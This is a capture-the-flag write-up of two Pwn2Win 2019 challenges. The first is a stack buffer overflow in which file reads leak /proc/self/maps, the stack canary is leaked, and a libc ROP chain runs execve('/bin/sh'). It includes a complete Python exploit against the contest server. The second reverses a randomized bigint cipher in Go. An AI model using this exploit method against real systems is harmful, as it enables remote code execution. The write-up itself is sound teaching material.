Writeups for some challenges from Pwn2Win CTF 2019.

David Fifield <david@bamsoftware.com>

2019-11-11

Full tROll

We've found a HARPA system that seems impenetrable. Help us to pwn it to get its secrets!

Server: 200.136.252.31 2222

Server backup: 167.71.169.196 2222

Link

Exploitation

Summary: A buffer overflow that enables 1) reading the first line of any file, 2) inspecting the stack canary of main, and 3) controlling the stack after return from main. Read /proc/self/maps to get the executable's location in memory, leak main's stack canary, smash the stack of main (repairing the stack canary) to return to printf and leak the address of a libc function, return back into main, smash the stack once more with a ROP chain constructed from libc code.

I worked on this challenge as part of a team. (Let me know if you were on the team and want your name mentioned here.) This was my first time completing a real ROP challenge with full ASLR; the only earlier time I had done it, I used a one-gadget and didn't need a full ROP chain. Solution files: full_troll.zip.

We get a single ELF binary, which is the code of a process running on a remote server that we have to exploit. Reversing it with Radare2, we get the following approximate pseudocode:

Pseudocode for full_troll

// fill the buffer with the contents of the FLAG_FILE environment variable, or "secret.txt" if unset
void set_filename(char *buffer)
{
	char *env_filename = getenv("FLAG_FILE");
	if (env_filename != NULL)
		strcpy(buffer, filename);
	else
		strcpy(buffer, "secret.txt");
}

int check_password(char *s)
{
	if (strlen(s) < 23)
		return 1;
	if (
		s[0]^s[1]   == 0x3f &&
		s[1]^s[2]   == 0x0b &&
		s[2]^s[3]   == 0x27 &&
		s[3]^s[4]   == 0x33 &&
		s[4]^s[5]   == 0x41 &&
		s[5]^s[6]   == 0x4f &&
		s[6]^s[7]   == 0x3b &&
		s[7]^s[8]   == 0x1b &&
		s[8]^s[9]   == 0x21 &&
		s[9]^s[10]  == 0x32 &&
		s[10]^s[11] == 0x73 &&
		s[11]^s[12] == 0x79 &&
		s[12]^s[13] == 0x2b &&
		s[13]^s[14] == 0x3a &&
		s[14]^s[15] == 0x00 &&
		s[15]^s[16] == 0x02 &&
		s[16]^s[17] == 0x38 &&
		s[17]^s[18] == 0x1d &&
		s[18]^s[19] == 0x03 &&
		s[19]^s[20] == 0x04 &&
		s[20]^s[21] == 0x49 &&
		s[21]^s[22] == 0x61 &&
		s[22]       == 0x58
	)
		return 0; // success
	else
		return 2;
}

const char *allowed_chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ/-_.";
bool check_filename(char *s)
{
	for (int i = 0; i < strlen(s); i++) {
		int matched = 0;
		for (int j = 0; j < strlen(allowed_chars); j++) {
			if (s[i] == allowed_chars[j]) {
				matched = 1;
				break;
			}
		}
		if (!matched) {
			return false;
		}
	}
	return true;
}

void report_check_result(int rc, char *filename)
{
	switch (rc) {
	case 1:
		puts("Not even close!\n");
		break;
	case 2:
		puts("Incorrect!\n");
		break;
	case 3:
		printf("Unable to open %.*s file!\n", 48, filename);
		break;
	default:
		printf("Unknown error");
		break;
	}
}

// Returns the number of bytes read. Does not NUL-terminate.
int read_line(FILE *stream, char *buf)
{
	for (int i = 0; ; i++) {
		c = fgetc(stream);
		if (c == EOF || c == '\n')
			return i;
		buf[i] = c;
	}
}

void main(void)
{
	char filename[40];
	char s[32];
	char *line_buf;

	line_buf = malloc(16000);
	memset(s, 0, 48); // overflows harmlessly 16 bytes into filename
	memset(filename, 0, 40);
	setvbuf(stdout, NULL, _IONBF, 0);

	set_filename(filename); // does strcpy(filename, "secret.txt")
	for (;;) {
		puts("Welcome my friend. Tell me your password.");
		read_line(stdin, password); // buffer overflow possible

		int rc = check_password(password);
		if (rc == 1 || rc == 2) {
			report_check_result(rc, filename);
			continue;
		} else if (!check_filename(filename)) {
			report_check_result(3, filename);
			continue;
		}

		FILE *f = fopen(filename, "rb");
		if (f == NULL) {
			if (filename[0] == '\0') {
				report_check_result(4, filename);
				// this is the only condition that breaks the loop
				break;
			} else {
				report_check_result(3, filename);
				continue;
			}
		}

		// read first line of file and print it
		read_line(f, line_buf);
		puts(line_buf);
		fclose(f);
	}
}

The program asks for a password. If the password is correct, it then opens the file named by filename ("secret.txt" by default). If the file can't be opened, it prints the name of the file; otherwise, it prints the first line of the file. It loops until the first byte of filename is 0, at which point main returns.

The first obstacle is the password. check_password asserts that the password must be at least 23 bytes long. It checks that the XOR of all pairs of adjacent bytes have certain values, and finally that the 23rd byte has a specific value. We know the final byte, s[22] == 0x58 ('X'). We also know that s[21] ^ s[22] == s[21] ^ 0x58 == 0x61, which means that s[21] == 0x61 ^ 0x58 == 0x39 ('9'). Continuing in the fashion to the beginning, we recover the full password VibEv7xCXyK8AjPPRjwtp9X. Any input we provide to the program must begin with this prefix. Sending the password alone causes the program to print the first line of secret.txt, a useless troll message.

$ printf 'VibEv7xCXyK8AjPPRjwtp9X\n' | nc 200.136.252.31 2222 | head -n 2
Welcome my friend. Tell me your password.
http://troll.harpa.world

The read_line(stdin, password) call has no length check and therefore may overflow the 32-byte password buffer into the 40-byte filename buffer. The password is 23 bytes long, so we need 9 additional bytes of padding to fill the password buffer. Anything after that starts to overflow into filename. If the file does not exist, or if it does not pass check_filename, we get the filename string printed out in an error message. If the file exists and has a suitable name, we get its first line.

$ printf 'VibEv7xCXyK8AjPPRjwtp9X.........XX\n' | nc 200.136.252.31 2222 | head -n 2
Welcome my friend. Tell me your password.
Unable to open XXcret.txt file!
$ printf 'VibEv7xCXyK8AjPPRjwtp9X........./etc/issue\n' | nc 200.136.252.31 2222 | head -n 2
Welcome my friend. Tell me your password.
Ubuntu 18.04.3 LTS \n \l

flag.txt contains the same troll message as secret.txt. What file is there whose first line can help us? The first line of /proc/self/maps gives the address at which the program is loaded in memory, enabling us to bypass ASLR for the text segment. Here, the executable's base address is 0x000055597b7e8000. It changes every time you connect.

$ printf 'VibEv7xCXyK8AjPPRjwtp9X........./proc/self/maps\n' | nc 200.136.252.31 2222 | head -n 2
Welcome my friend. Tell me your password.
55597b7e8000-55597b7ea000 r-xp 00000000 fd:01 1030221                    /home/chall/chall

We also overflow the buffer even further to overwrite the saved return address in the stack frame of main. There's a problem, though: before the stack frame, there's an 8-byte stack canary. The memory layout looks like this:

      password (32 bytes)                 filename (40 bytes)            canary savedRBPsavedRIP  ...more stack...

main checks that the canary has the expected value before returning. If it does not, the program aborts with Stack smashing detected and our overwritten rip is never even jumped to. We can use the fact that the program prints the name of the file it tried to open to leak the bytes of the canary. We need to send the password, then 9 bytes of padding to fill the password buffer, then 40 bytes of padding to fill the filename buffer. The first byte of the canary is always 0x00, so we must then send 1 more byte to join the filename string to the bytes of the canary. The printf call in report_check_result will print up to 48 bytes of the filename, which is exactly as much as we need. I added highlighting to illustrate what parts of the input and output correspond to what parts of the stack.

$ printf 'VibEv7xCXyK8AjPPRjwtp9X.........xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx#' | nc 200.136.252.31 2222 | head -n 2 | xxd
00000000: 5765 6c63 6f6d 6520 6d79 2066 7269 656e  Welcome my frien
00000010: 642e 2054 656c 6c20 6d65 2079 6f75 7220  d. Tell me your
00000020: 7061 7373 776f 7264 2e0a 556e 6162 6c65  password..Unable
00000030: 2074 6f20 6f70 656e 2078 7878 7878 7878   to open xxxxxxx
00000040: 7878 7878 7878 7878 7878 7878 7878 7878  xxxxxxxxxxxxxxxx
00000050: 7878 7878 7878 7878 7878 7878 7878 7878  xxxxxxxxxxxxxxxx
00000060: 7823 94c7 8010 62af e020 6669 6c65 210a  x#....b.. file!.

During this run, the value of the canary was 0094c7801062afe0. Now we can safely smash the stack in main, by first leaking the canary, then being careful to restore it whenever we write over it. This process of reading the canary will fail whenever the canary contains a 0x00 byte in the middle, because that will terminate the string as seen by printf. You could write a loop to continue reading later parts of the canary in this case, or you could just ignore the problem and repeatedly run your commands until you get a good canary (which is what we did).

The right thing to do at this point at this point would be to leak a libc address, in order to gain access to more ROP gadgets. But we did not immediately realize that we could use the printf in report_check_result to do that. Instead, we tried for a while to build an exploit using only the gadgets available in the binary itself. There weren't many of these; notably we lacked even a syscall gadget. We weren't initially trying to open a shell—we suspected (wrongly, it turns out) that secret.txt was longer than one line and that the flag would be somewhere later in the file. We used ROPgadget and Ropper to get a list of gadgets in the file. There were a pop rdi; ret; and a pop rsi; pop r15; ret; that enabled us to call fopen on the strings "secret.txt" and "rb" to get a file handle in rax. (rdi is the first function argument and rsi is the second; we can put garbage in r15.) But we couldn't find a way to transfer that file handle from rax to rdi to pass it on to further functions like read_line. We spent some time trying to use an awkward mov rdi, rax; call strcpy; nop; leave; ret gadget, hoping that we could get strcpy to work as a no-op, but we couldn't stop the leave instruction from trashing the state of the stack pointers.

Eventually we realized that we could get a libc address. The printf call in report_check_result prints up to 48 bytes starting at a caller-provided address. We'll use the address of getenv. We found the offset of getenv's relocation entry using Radare2:

[0x00201f78 [xAdvc] 0% 440 ]> pd $r @ reloc.getenv
            ;-- reloc.getenv:
            ; CODE XREF from sym.imp.getenv (0x820)
            0x00201f78      .qword 0x0000000000000826

We also need the offset of report_check_result, which is 0x00000ded. At this point we had to start writing an exploit script instead of just running nc, because there are multiple dependent steps. To get the address of getenv,

Read /proc/self/maps to get the executable base address.
Leak the stack canary of main.
Overwrite the saved rip of main, taking care to restore the canary, then stage a ROP chain that
1. Stores the value 3 in rdi (the first argument to report_check_result).
2. Stores the address of getenv's relocation entry (which is the executable's base address plus 0x00201f78) in rsi (the second argument to report_check_result).
3. Jumps to report_check_result, causing it to print the getenv relocation entry.
Send a filename whose first byte is 0. This is the only way to cause main to return and our ROP chain to start executing.
Read a line from the server, which will be the "Unable to open XXXXXX file!" error string, where XXXXXX is the bytes of the address of getenv.

If we know the precise version of libc that the server is running, we can combine that with the address of getenv to get the libc base address. From reading the first line /etc/issue, we get that the server is running Ubuntu 18.04.3. The Ubuntu packages site says that this version of Ubuntu uses libc6 version 2.27-3ubuntu1. We can download the deb file and unpack it using dpkg-deb. readelf -s tells us the offset of getenv, 0x426e0. Subtracting that from the leaked address of getenv yields the libc base address.

$ dpkg-deb -x libc6_2.27-3ubuntu1_amd64.deb deb
$ readelf -s deb/lib/x86_64-linux-gnu/libc.so.6 | grep getenv
   648: 0000000000042eb0    27 FUNC    WEAK   DEFAULT   13 __libc_secure_getenv@@GLIBC_PRIVATE
   900: 0000000000042eb0    27 FUNC    WEAK   DEFAULT   13 __secure_getenv@GLIBC_2.2.5
  1362: 00000000000426e0   212 FUNC    GLOBAL DEFAULT   13 getenv@@GLIBC_2.2.5
  1801: 0000000000042eb0    27 FUNC    WEAK   DEFAULT   13 secure_getenv@@GLIBC_2.17

Here's what the code to do all this looks like. stdin and stdout are the input and output stream of the executable (either a local process's stdin and stdout, or a socket to a remote server). Notice when we read the address of getenv we read only 6 bytes; that's because the pointer is something like 0x00007fXXXXXXXXXX with the first two bytes zero, and in little-endian byte order looks like XXXXXXXXXX7f0000.

PASSWORD = "VibEv7xCXyK8AjPPRjwtp9X........."
FILENAME = "x" * 40

def q(x):
    return struct.pack("<Q", x)

# Read /proc/self/maps.
_ = read_line(stdout) # "Welcome my friend. Tell me your password."
stdin.write(PASSWORD + "/proc/self/maps" + "\n")
maps = read_line(stdout)
print "maps:", repr(maps)
base_address = int(maps[:12], 16)
print "base address: 0x%x" % base_address

# Read the canary.
_ = read_line(stdout) # "Welcome my friend. Tell me your password."
stdin.write(PASSWORD + FILENAME + "#\n")
resp = read_line(stdout)
canary = "\x00" + resp[-7-7:-7] # filename ends 7 bytes from the end of string
print "canary:", canary.encode("hex")

addr_main = base_address + 0x00000ead
addr_reloc_getenv = base_address + 0x00201f78
addr_report_check_result = base_address + 0x00000ded
getenv_libc_offset = 0x000426e0

ropchain = ""
ropchain += q(base_address + 0x10a3) # pop rdi; ret;
ropchain += q(3)
# rdi == 3
ropchain += q(base_address + 0x10a1) # pop rsi; pop r15; ret;
ropchain += q(addr_reloc_getenv)
ropchain += "XXXXXXXX"
# rsi == address of getenv's relocation entry
# r15 == garbage
ropchain += q(addr_report_check_result) # report_check_result(3, reloc_getenv)

# Restore the canary and overwrite saved RIP.
# "AAAAAAAA" is padding to get past the saved RBP.
_ = read_line(stdout) # "Welcome my friend. Tell me your password."
stdin.write(PASSWORD + FILENAME + canary + "AAAAAAAA" + ropchain + "\n")
_ = read_line(stdout) # "Unable to open xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx file!\n"

# Make main return.
_ = read_line(stdout) # "Welcome my friend. Tell me your password."
stdin.write(PASSWORD + "\x00\n")

resp = read_line(stdout)
getenv_libc_addr, = struct.unpack("<Q", resp[-6-7:-7] + "\x00\x00")
print "getenv_libc_addr    0x%x" % getenv_libc_addr

libc_base_addr = getenv_libc_addr - getenv_libc_offset
print "libc_base_addr      0x%x" % libc_base_addr

We have a small problem here, which is that we need to continue interacting with the program after learning the libc address, but we have just caused main to return. To regain control, we stage the address of main itself after the address of report_check_result, to cause the code to jump back into main after we get the printf results we want. From there, we can exploit the program again, using a second ROP chain.

My first thought at this point was to try a one-gadget, because that worked for me in a previous CTF. A one-gadget is a single address you can jump to in libc that immediately execs /bin/sh. The one_gadget program found three potential addresses, subject to certain constraints:

$ one_gadget deb/lib/x86_64-linux-gnu/libc.so.6
0x4f2c5 execve("/bin/sh", rsp+0x40, environ)
constraints:
  rsp & 0xf == 0
  rcx == NULL

0x4f322 execve("/bin/sh", rsp+0x40, environ)
constraints:
  [rsp+0x40] == NULL

0x10a38c execve("/bin/sh", rsp+0x70, environ)
constraints:
  [rsp+0x70] == NULL

While working on the exploit we were of course testing locally using the full_troll executable. On a Debian 10 system, which has a different libc than Ubuntu 18.04.3, there are also three one-gadgets found, and at least one of them worked, after making the necessary address adjustments. But none of them worked against the challenge server, for whatever reason. So we then resorted to using a full ROP chain found by Ropper:

$ Ropper.py --chain "execve cmd=/bin/sh" --file deb/lib/x86_64-linux-gnu/libc.so.6

Ropper outputs some Python code that you can just paste into your program (you only have to provide the libc base address). Unfortunately, it still didn't work. We could get the remote server to run a dummy puts("secret.txt") payload, but not the one that runs a shell. Testing inside an Ubuntu 18.04.3 VM, we found that it was crashing somewhere inside the printf call inside report_check_result inside the second call to main. The exploit was being staged successfully but the program was crashing before main could return the second time. We compared the state of registers at the point of calling printf on the local machine, where the exploit worked, and in the VM, where it didn't. One of the differences was the rcx == 0 on the local machine, and rcx == 1 in the VM. So we threw in a dec ecx; ret; gadget before the return to main, and finally that worked. Sending an ls after spawning the shell results in a directory listing. (Forgive the repr output formatting, that's just an artifact of how we were reading the server results after sending the exploit.)

$ ./exploit
maps: '558c20e20000-558c20e22000 r-xp 00000000 fd:01 259722                     /home/chall/chall\n'
base address: 0x55956cbc5000
canary: 0073c144e847a011
getenv_libc_addr    0x7febae9746e0
libc_base_addr      0x7febae932000
'Unknown error'
'_r3al_fl4g_eTF8eO9k4LkAOqrl4_r341_fla6__.txt\nchall\nflag.txt\nsacr'
'ed\nsecret.txt\nsetup.sh\n'

So the flag is in a file called _r3al_fl4g_eTF8eO9k4LkAOqrl4_r341_fla6__.txt, not in secret.txt like we thought. Running the exploit again with cat _r3al_fl4g_eTF8eO9k4LkAOqrl4_r341_fla6__.txt in place of ls yields the flag CTF-BR{Fiiine...Im_not_ashamed_to_say_that_the_expected_solution_was_reading_/dev/fd/../maps_How_did_y0u_s0lve_1t?}.

$ ./exploit
maps: '55daa1f62000-55daa1f64000 r-xp 00000000 fd:01 259722                     /home/chall/chall\n'
base address: 0x55daa1f62000
canary: 009083eee7774a38
getenv_libc_addr    0x7fb97fa0b6e0
libc_base_addr      0x7fb97f9c9000
'Unknown error'
'CTF-BR{Fiiine...Im_not_ashamed_to_say_that_the_expected_solution'
'_was_reading_/dev/fd/../maps_How_did_y0u_s0lve_1t?}\n'

I am actually not sure why forcing rcx == 0 had an effect. I thought that the number of arguments that printf expects was entirely controlled by the format string—I don't see why it should even have been looking at that function argument. Looking back, perhaps the one-gadget at offset 0x4f2c5, the one with the rcx == NULL constraint, would have worked as well, after fixing rcx. That's the one-gadget that worked for archiveer.

Here's the full exploit code, debugging warts and all:

exploit

#!/usr/bin/env python2

import socket
socket.socket.read = socket.socket.recv
socket.socket.write = socket.socket.send
import struct
import subprocess
import sys
import time

LOCAL = False

PASSWORD = "VibEv7xCXyK8AjPPRjwtp9X........."
FILENAME = "x" * 40

def read_line(f):
    buf = []
    while True:
        c = f.read(1)
        buf.append(c)
        if not c or c == "\n":
            break
    return "".join(buf)

def q(x):
    return struct.pack("<Q", x)

def pwn(stdin, stdout):
    # Read /proc/self/maps.
    _ = read_line(stdout) # "Welcome my friend. Tell me your password."
    stdin.write(PASSWORD + "/proc/self/maps" + "\n")
    maps = read_line(stdout)
    print "maps:", repr(maps)
    base_address = int(maps[:12], 16)
    print "base address: 0x%x" % base_address

    # Read the canary.
    _ = read_line(stdout) # "Welcome my friend. Tell me your password."
    stdin.write(PASSWORD + FILENAME + "#\n")
    resp = read_line(stdout)
    canary = "\x00" + resp[-7-7:-7]
    print "canary:", canary.encode("hex")

    addr_main = base_address + 0xead
    addr_fopen = base_address + 0x8d0
    addr_secret_txt = base_address + 0x10c8
    addr_rb = base_address + 0x00001152
    addr_data_segment = base_address + 0x0000000000202000
    addr_got_getenv = base_address + 0x820
    addr_got_puts = base_address + 0x840
    addr_report_check_result = base_address + 0xded
    addr_reloc_getenv = base_address + 0x00201f78

    getenv_libc_offset = 0x426e0
    onegadget_libc_offset = (0x4f2c5, 0x4f322, 0x10a38c)[2]
    # getenv_libc_offset = 0x39480
    # onegadget_libc_offset = (0x4484f, 0x448a3, 0xe5456)[0]

    ropchain = ""
    ropchain += q(base_address + 0x10a3) # pop rdi; ret;
    ropchain += q(3)
    # rdi == 3
    ropchain += q(base_address + 0x10a1) # pop rsi; pop r15; ret;
    ropchain += q(addr_reloc_getenv)
    ropchain += "XXXXXXXX"
    # rsi == address of getenv's GOT entry
    # r15 == garbage
    ropchain += q(addr_report_check_result)
    ropchain += q(base_address + 0x103a) # dec ecx; ret;
    ropchain += q(addr_main)

    # Restore the canary and overwrite saved RIP.
    _ = read_line(stdout) # "Welcome my friend. Tell me your password."
    stdin.write(PASSWORD + FILENAME + canary + "A"*8 + ropchain + "\n")
    _ = read_line(stdout) # "Unable to open xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx file!\n"

    # Make main return.
    _ = read_line(stdout) # "Welcome my friend. Tell me your password."
    stdin.write(PASSWORD + "\0exit\n")

    resp = read_line(stdout)
    getenv_libc_addr, = struct.unpack("<Q", resp[-6-7:-7] + "\x00\x00")
    print "getenv_libc_addr    0x%x" % getenv_libc_addr

    libc_base_addr = getenv_libc_addr - getenv_libc_offset
    print "libc_base_addr      0x%x" % libc_base_addr

    onegadget_libc_addr = libc_base_addr + onegadget_libc_offset
    print "onegadget_libc_addr 0x%x" % onegadget_libc_addr

    if False:
        ropchain = ""
        ropchain += q(base_address + 0x103a) # dec ecx; ret;
        ropchain += q(base_address + 0x10a3) # pop rdi; ret;
        ropchain += q(addr_secret_txt)
        ropchain += q(addr_got_puts)
        # ropchain += q(onegadget_libc_addr)
    else:
        ##########################################
        # Generated by ropper ropchain generator #
        p = lambda x : struct.pack('<Q', x)

        IMAGE_BASE_0 = libc_base_addr # 0x0000000000000000 # cd7c1a035d24122798d97a47a10f6e2b71d58710aecfd392375f1aa9bdde164d
        rebase_0 = lambda x : p(x + IMAGE_BASE_0)

        ropchain = ''

        ropchain += rebase_0(0x0000000000021a45) # 0x0000000000021a45: pop r13; ret;
        ropchain += '//bin/sh'
        ropchain += rebase_0(0x000000000002155f) # 0x000000000002155f: pop rdi; ret;
        ropchain += rebase_0(0x00000000003eb1a0)
        ropchain += rebase_0(0x0000000000064189) # 0x0000000000064189: mov qword ptr [rdi], r13; pop rbx; pop rbp; pop r12; pop r13; ret;
        ropchain += p(0xdeadbeefdeadbeef)
        ropchain += p(0xdeadbeefdeadbeef)
        ropchain += p(0xdeadbeefdeadbeef)
        ropchain += p(0xdeadbeefdeadbeef)
        ropchain += rebase_0(0x0000000000021a45) # 0x0000000000021a45: pop r13; ret;
        ropchain += p(0x0000000000000000)
        ropchain += rebase_0(0x000000000002155f) # 0x000000000002155f: pop rdi; ret;
        ropchain += rebase_0(0x00000000003eb1a8)
        ropchain += rebase_0(0x0000000000064189) # 0x0000000000064189: mov qword ptr [rdi], r13; pop rbx; pop rbp; pop r12; pop r13; ret;
        ropchain += p(0xdeadbeefdeadbeef)
        ropchain += p(0xdeadbeefdeadbeef)
        ropchain += p(0xdeadbeefdeadbeef)
        ropchain += p(0xdeadbeefdeadbeef)
        ropchain += rebase_0(0x000000000002155f) # 0x000000000002155f: pop rdi; ret;
        ropchain += rebase_0(0x00000000003eb1a0)
        ropchain += rebase_0(0x0000000000023e6a) # 0x0000000000023e6a: pop rsi; ret;
        ropchain += rebase_0(0x00000000003eb1a8)
        ropchain += rebase_0(0x0000000000001b96) # 0x0000000000001b96: pop rdx; ret;
        ropchain += rebase_0(0x00000000003eb1a8)
        ropchain += rebase_0(0x00000000000439c8) # 0x00000000000439c8: pop rax; ret;
        ropchain += p(0x000000000000003b)
        ropchain += rebase_0(0x00000000000d2975) # 0x00000000000d2975: syscall; ret;
        ##########################################

    # Restore the canary and overwrite saved RIP.
    _ = read_line(stdout) # "Welcome my friend. Tell me your password."
    print "1", repr(_)
    stdin.write(PASSWORD + FILENAME + canary + "A"*8 + ropchain + "\n")
    # stdin.write(PASSWORD + FILENAME + "\n")
    _ = read_line(stdout) # "Unable to open xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx file!\n"
    print "2", repr(_)

    # Make main return.
    _ = read_line(stdout) # "Welcome my friend. Tell me your password."
    stdin.write(PASSWORD + "\0YYYY\n")

    # For whatever reason, these shell commands didn't get executed.
    # The one that's effective is in the "while True" loop below.
    stdin.write("id;\n")
    stdin.write("id;\n")
    stdin.write("ls;\n")

if LOCAL:
    # p = subprocess.Popen(["strace", "./full_troll"], stdin=subprocess.PIPE, stdout=subprocess.PIPE)
    # p = subprocess.Popen(["gdb", "--batch-silent", "-q", "-ex", "run", "--args", "./full_troll"], stdin=subprocess.PIPE, stdout=subprocess.PIPE)
    p = subprocess.Popen(["./full_troll"], stdin=subprocess.PIPE, stdout=subprocess.PIPE)
    stdin = p.stdin
    stdout = p.stdout
else:
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect(("167.71.169.196", 2222))
    # s.connect(("127.0.0.1", 31337))
    stdin = s
    stdout = s

pwn(stdin, stdout)
while True:
    # stdin.write("ls;\n")
    stdin.write("cat _r3al_fl4g_eTF8eO9k4LkAOqrl4_r341_fla6__.txt;\n")
    data = stdout.read(64)
    if not data:
        break
    print repr(data)

if LOCAL:
    returncode = p.wait()
    print returncode

According to mephi42's comment, we could probably have used /proc/self/syscall to get a libc address directly and avoid the two-stage ROP exploit.

By the way, the "sacred" file contained the same troll message as secret.txt and flag.txt. Maybe it was targeted at people trying a dictionary attack over filenames. The contents of setup.sh were just

#!/bin/sh
cd /home/chall
./chall

Random Crypto

At some point Sophia has realized that a few messages were being intercepted and it has decided to send encrypted messages at random and the encryption parameters were sent as a separate message to different people on the same team, so that the chances of both messages being intercepted were much smaller, almost negligible. We have been able to intercept the main message with great effort and we believe that, like Sophia code, there is a flaw in its encryption method. Can you help us find the information we are looking for? Ah... Rebellious Fingers has done a great job of stealing the encryption method binary and sending it to 2019 along with the broadcast!

Link

Cryptography Reversing

Summary: Invertible, randomized transformation of input, initially seeded by srand(time(NULL)). Implement the inverse transform and brute-force the seed timestamp. Update 2019-11-15: I was wrong about the nature of the challenge, but my slightly wrong approach led to the correct solution nevertheless. See below..

I did this challenge on my own and didn't submit the flag. I finished it a couple of hours after the contest had ended, anyway. Solution files: random_crypto.zip.

We get an ELF binary and a text file full of 14444 largish (~2000-bit) decimal integers, positive and negative.

crypt

434395014266637992551167018691481376075247830220994004229123109798382542739296741787593733813688784981489808423992858037085171861434929285563327943387164600719898548818036110608650525370356796579603120588821277832077176143474367194376862997458683851181344639991908096858614643824142127834484602465996962523051245317560958377094628901250800922778479316768229774699193115752651969005549226652626088611759386778267843600959541258099271376872811053841733246413271174232712496068173127862706624857329355312924583422889827692959380284723772407921467263132355329371250081577657534514039740577255260160
434395014266637992551167018691481376075247830220994004229123109798382542739296741787593733813688784981489808423992858037085171861434929285563327943387164600719898548818036110608650525370356796579603120588821277832077176143474367194376862997458683851181344639991908096858614643824142127834484602465996962523051245317560958377094628901250800922778479316768229774699193115752651969005549226652626088611759386778267843600959541258099271376872811053841733246413271174232712496068173127862706624857329355312924583422889827692959380284723772407921467263132355329371250081577657534514039740577255260160
-100245003292301075204115465851880317555826422358690924052874563799626740632145401950983169341620488841882263482459890316250424275715752912053075679243191830935361203573392948601996275085466953056831489366651064115094732956186392429471583768644311657964925686151978791582757225497878952577188754415230068274550287380975605779329529746442492520641187534638822255699813795942919685155126744612144481987329089256523348523298355674945985702355264089348092287633831809438318268323424567968316913428614466610674903866820729467606010834936255171058800137645928152931826941902536354118624555517828136960
541323017778425806102223515600153714801462680736930989885522644517984399413585170535309114444750639746164222805283407707752291088865065725086608667913235887050950499296321922450779885461521546506890042579915746221511557963406519119146552350679282953010598705220685474546889017688546343916819273842242368682571551857268271208379460630789459611462412687049640180778994498091766299837684420905580202731577081985226082025811120644708322792718426082479698353222691770966918648946492667028911332514518119697644480880831939125072458508655777923717520743288012025831865486273696312240572599796271939584
...

Reversing the binary reveals that it reads a file called "flag" into an array of bigints and seeds a random number generator with the current time. The random number generator is used to determine a number of passes to make over the data. In each pass, elements are processed in twos: the pair of adjacent numbers a and b are replaced by a+b and a−b. Additionally, in each pass a randomly chosen odd-indexed element has its least significant bit flipped. Finally, the processed array of bigints is output in reverse order. Here is pseudocode:

Pseudocode for randCrypt

uint8_t file[1000000000];
bigint *cfile;

int calc_iteration_count(int r)
{
	int upper = ((long) r * (int) 0x82b6690f) >> 32;
	return r - 0xfab * (((r + upper) >> 11) - (r >> 31));
}

int main()
{
	FILE *stream = fopen("flag", "rb");
	int size = fread(stream, 1, 999999999, stream);
	fclose(stream);

	cfile = malloc(size * 48); // seemingly over-allocated; sizeof(bigint) is only 16
	for (i = 0; i < size; i++) {
		cfile[i] = new_bigint(file[i]);
	}

	srand(time(NULL));
	int iteration_count = calc_iteration_count(rand()); // not actually a function call

	for (i = 0; i < iteration_count; i++) {
		printf("%d/%d\n", i, iteration_count);

		// if size of flag is odd, add an element to make it even
		if (size & 1 == 1) {
			cfile[size] = new_bigint(0);
			size = size + 1;
		}

		for (j = 0; j < size; j += 2) {
			bigint sum  = cfile[j] + cfile[j+1];
			bigint diff = cfile[j] - cfile[j+1];
			cfile[j] = sum;
			cfile[j+1] = diff;
		}

		// flip the LSb of a random odd-indexed element
		cfile[(rand() % size) | 1] ^= new_bigint(1);
	}

	stream = fopen("crypt", "wb");
	// write out cfile in reverse order
	for (i = 0; i < size; i++) {
		gmp_fprintf(stream, "%Zd ", cfile[size - 1 - i]);
	}
	fclose(stream);
	free(cfile);

	return 0;
}

All of these operations—the xors, the sum and difference—are invertible. The game plan is to write a program to invert the encryption operation given a seed, then brute-force the seed. My first thought for writing a program that will do bigint math and run reasonably fast was Go with math/big. This program will turn out to require a few changes around the random number generator before it actually works.

decrypt.go

package main

import (
	"bufio"
	"flag"
	"fmt"
	"math/big"
	"os"
	"os/exec"
	"strconv"
)

type Rand struct {
	s *bufio.Scanner
}

func NewRand(seed int) *Rand {
	cmd := exec.Command("../randhelper", strconv.Itoa(seed))
	stdout, err := cmd.StdoutPipe()
	if err != nil {
		panic(err)
	}
	err = cmd.Start()
	if err != nil {
		panic(err)
	}
	s := bufio.NewScanner(stdout)
	s.Split(bufio.ScanWords)
	return &Rand{s}
}

func (rand *Rand) Next() int {
	if !rand.s.Scan() {
		panic("out of rand")
	}
	n, err := strconv.Atoi(rand.s.Text())
	if err != nil {
		panic(err)
	}
	return n
}

func calcIterationCount(r uint32) int {
	upper := uint32(uint64(int64(r)*int64(-0x7d4996f1)) >> 32)
	return int(r - 0xfab*((r+upper)>>11) - (r >> 31))
}

func main() {
	var one, two big.Int
	one.SetUint64(1)
	two.SetUint64(2)

	flag.Parse()
	seed, err := strconv.Atoi(flag.Arg(0))
	if err != nil {
		panic(err)
	}
	rand := NewRand(seed)

	filename := flag.Arg(1)
	f, err := os.Open(filename)
	if err != nil {
		panic(err)
	}
	defer f.Close()

	iterationCount := calcIterationCount(uint32(rand.Next()))
	rands := make([]int, iterationCount)
	for i := 0; i < iterationCount; i++ {
		rands[i] = rand.Next()
	}

	var cfile []*big.Int
	s := bufio.NewScanner(f)
	s.Split(bufio.ScanWords)
	for s.Scan() {
		n := new(big.Int)
		n.SetString(s.Text(), 10)
		cfile = append(cfile, n)
	}
	if s.Err() != nil {
		panic(s.Err())
	}
	// reverse
	for i := 0; i < len(cfile)/2; i++ {
		tmp := cfile[i]
		cfile[i] = cfile[len(cfile)-1-i]
		cfile[len(cfile)-1-i] = tmp
	}

	for i := 0; i < iterationCount; i++ {
		r := rands[iterationCount - 1 - i]
		t := (r % len(cfile)) | 1
		cfile[t].Xor(cfile[t], &one)

		for j := 0; j < len(cfile); j += 2 {
			// cfile[j]   == a + b
			// cfile[j+1] == a - b
			// (a + b) + (a - b) == 2 * a
			var a big.Int
			a.Add(cfile[j], cfile[j+1])
			a.Div(&a, &two)
			cfile[j+1].Sub(cfile[j], &a)
			cfile[j].Set(&a)
		}
	}

	buf := make([]byte, len(cfile))
	for i := 0; i < len(cfile); i++ {
		n := cfile[i]
		if !n.IsUint64() {
			fmt.Printf("%v no\n", seed)
			os.Exit(1)
		}
		u := n.Uint64()
		if u > 255 {
			fmt.Printf("%v no\n", seed)
			os.Exit(1)
		}
		buf[i] = uint8(u)
	}

	fmt.Printf("%v %+q\n", seed, string(buf))
}

